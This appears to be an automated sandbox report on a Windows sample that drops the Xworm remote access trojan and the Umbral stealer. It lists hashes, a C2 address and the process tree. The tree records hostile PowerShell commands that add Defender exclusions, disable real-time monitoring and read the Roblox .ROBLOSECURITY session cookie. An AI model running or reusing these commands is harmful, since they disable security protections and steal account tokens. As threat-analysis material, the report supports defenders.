Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250217-en
  • resource tags

    arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    23-02-2025 10:42

General

  • Target

    obxod266dev.exe

  • Size

    329KB

  • MD5

    31fc82eeaed45f2389b57ffb9d8f6ea2

  • SHA1

    fd46d4e307b09a372a3bfc0d88b87eeccaf77912

  • SHA256

    dc7f8c7c39bb043da2c19a03504c499e0af367fefee810a8190c1119992e2248

  • SHA512

    418bca3b27a8354e559de8e1333ebc8ff42a5d4f07b42a0ec95775c9a52feb1d61a00006ceefef3be8e30dc07c0fb3123440413a2b16d8d9cc6e468cb9d5c962

  • SSDEEP

    6144:3aDaK7MooumCpZSApAWl2IenY7YDlw+JmS1r8+CMCX:3LK7sk2IKYkp/mYPCX

Malware Config

Extracted

Family

xworm

C2

25.ip.gl.ply.gg:59054

Attributes
  • Install_directory

    %AppData%

  • install_file

    svchost.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\obxod266dev.exe
    "C:\Users\Admin\AppData\Local\Temp\obxod266dev.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3764
    • C:\Users\Admin\AppData\Roaming\obxod 266dev.exe
      "C:\Users\Admin\AppData\Roaming\obxod 266dev.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\obxod 266dev.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2432
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'obxod 266dev.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4144
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4820
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1504
    • C:\Users\Admin\AppData\Roaming\Umbral.exe
      "C:\Users\Admin\AppData\Roaming\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1552
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:4704
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1664
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4732

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    627073ee3ca9676911bee35548eff2b8

    SHA1

    4c4b68c65e2cab9864b51167d710aa29ebdcff2e

    SHA256

    85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

    SHA512

    3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    948B

    MD5

    afb713845839b94cf11694f6fb6539cf

    SHA1

    45da779016082e2c77b445a6aab14b6d57dd5aec

    SHA256

    4ef8faba766d3e9f20341b56506209dddef98333741daf91e4f671269a5eb42e

    SHA512

    ec34ee0c2c75729467d415079d2f455bff7a9691483bf32c2d9f5efe6fc1bca061c952673c741ee6e8bf494b482a019d8e367a60d975dbdad9ed12f6d0035f9d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    7332074ae2b01262736b6fbd9e100dac

    SHA1

    22f992165065107cc9417fa4117240d84414a13c

    SHA256

    baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

    SHA512

    4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    d0a4a3b9a52b8fe3b019f6cd0ef3dad6

    SHA1

    fed70ce7834c3b97edbd078eccda1e5effa527cd

    SHA256

    21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31

    SHA512

    1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    e07eea85a8893f23fb814cf4b3ed974c

    SHA1

    8a8125b2890bbddbfc3531d0ee4393dbbf5936fe

    SHA256

    83387ce468d717a7b4ba238af2273da873b731a13cc35604f775a31fa0ac70ea

    SHA512

    9d4808d8a261005391388b85da79e4c5396bdded6e7e5ce3a3a23e7359d1aa1fb983b4324f97e0afec6e8ed9d898322ca258dd7cda654456dd7e84c9cbd509df

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    80b42fe4c6cf64624e6c31e5d7f2d3b3

    SHA1

    1f93e7dd83b86cb900810b7e3e43797868bf7d93

    SHA256

    ee20a5b38a6674366efda276dbbf0b43eb54efd282acfc1033042f6b53a80d4d

    SHA512

    83c1c744c15a8b427a1d3af677ec3bfd0353875a60fe886c41570981e17467ebbb59619b960ca8c5c3ab1430946b0633ea200b7e7d84ab6dca88b60c50055573

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    55f30089624be31af328ba4e012ae45a

    SHA1

    121c28de7a5afe828ea395d94be8f5273817b678

    SHA256

    28e49da06bd64f06a4cf1a9caead354b94b4d11d5dc916a92da0ed96bad00473

    SHA512

    ef13cc5b22c754c7816e08b421de64bc8df527d7166e970454139410b2d381b53ebf288ec73013cdce92f0ac226d9ed5b342341db52a8cb0b85b5ad4d3090787

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    9deb31d63c251368f1dcf297650b2997

    SHA1

    02a6835b82971ae7dba9d97e528412fac5247714

    SHA256

    9c598fb1420e5646126e8f7a42a3ea94b1050017e9cb67bbe6429f08c1bc2893

    SHA512

    0d6c8958a051b75f0d0a53e336954e102e642ad79a96f39fb1ed6643d77f9b54725b27eef460e33c89ff1d6136155cb6d873c25f9ae3dfc4a9d3a9346816477a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hmoavs4v.pyq.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Umbral.exe

    Filesize

    232KB

    MD5

    e486d8aafa368a43a56987dd4d80aa75

    SHA1

    8851fe89928a47a58b50348d9a4458f24e2725f9

    SHA256

    596ac7d2aa525ceb7b82aec1e6376d34f36649f028de442fb0a0021e380db136

    SHA512

    abe413e1277c0ac103778822dcd3f6b03f315fad83731af10284a68fca8ecfa2d2c6b9d9c3e0ec55803a2b31d03ae9c863c430eba23954ccc5f82b2a6d21e573

  • C:\Users\Admin\AppData\Roaming\obxod 266dev.exe

    Filesize

    80KB

    MD5

    3598f860aacfe53b00c305715a6c7b2f

    SHA1

    70640b2e8a71017cdf5fb8e91fe0b065f89a064b

    SHA256

    b4b8385381c3bb23d821f179a73ff19083d15f7cc6e1c9cc2235da3c382db241

    SHA512

    0b2bfa9e701ba126acb6bf9b9b5df26e8558a59708659ec2981173267d277f44e6b6575f1ceb945a86705796ea8f50c5cd1617ee45fdaabdc68af9b2022e654c

  • memory/2432-34-0x000001C6DD150000-0x000001C6DD172000-memory.dmp

    Filesize

    136KB

  • memory/2772-99-0x0000027658370000-0x00000276583E6000-memory.dmp

    Filesize

    472KB

  • memory/2772-25-0x000002763DB30000-0x000002763DB70000-memory.dmp

    Filesize

    256KB

  • memory/2772-142-0x00007FFF1AB50000-0x00007FFF1B612000-memory.dmp

    Filesize

    10.8MB

  • memory/2772-76-0x00007FFF1AB50000-0x00007FFF1B612000-memory.dmp

    Filesize

    10.8MB

  • memory/2772-137-0x000002763E110000-0x000002763E122000-memory.dmp

    Filesize

    72KB

  • memory/2772-136-0x000002763E0E0000-0x000002763E0EA000-memory.dmp

    Filesize

    40KB

  • memory/2772-28-0x00007FFF1AB50000-0x00007FFF1B612000-memory.dmp

    Filesize

    10.8MB

  • memory/2772-100-0x00000276583F0000-0x0000027658440000-memory.dmp

    Filesize

    320KB

  • memory/2772-101-0x000002763E0C0000-0x000002763E0DE000-memory.dmp

    Filesize

    120KB

  • memory/3764-1-0x0000000000720000-0x0000000000778000-memory.dmp

    Filesize

    352KB

  • memory/3764-0-0x00007FFF1AB53000-0x00007FFF1AB55000-memory.dmp

    Filesize

    8KB

  • memory/3988-26-0x0000000000FA0000-0x0000000000FBA000-memory.dmp

    Filesize

    104KB

  • memory/3988-27-0x00007FFF1AB50000-0x00007FFF1B612000-memory.dmp

    Filesize

    10.8MB

  • memory/3988-75-0x00007FFF1AB50000-0x00007FFF1B612000-memory.dmp

    Filesize

    10.8MB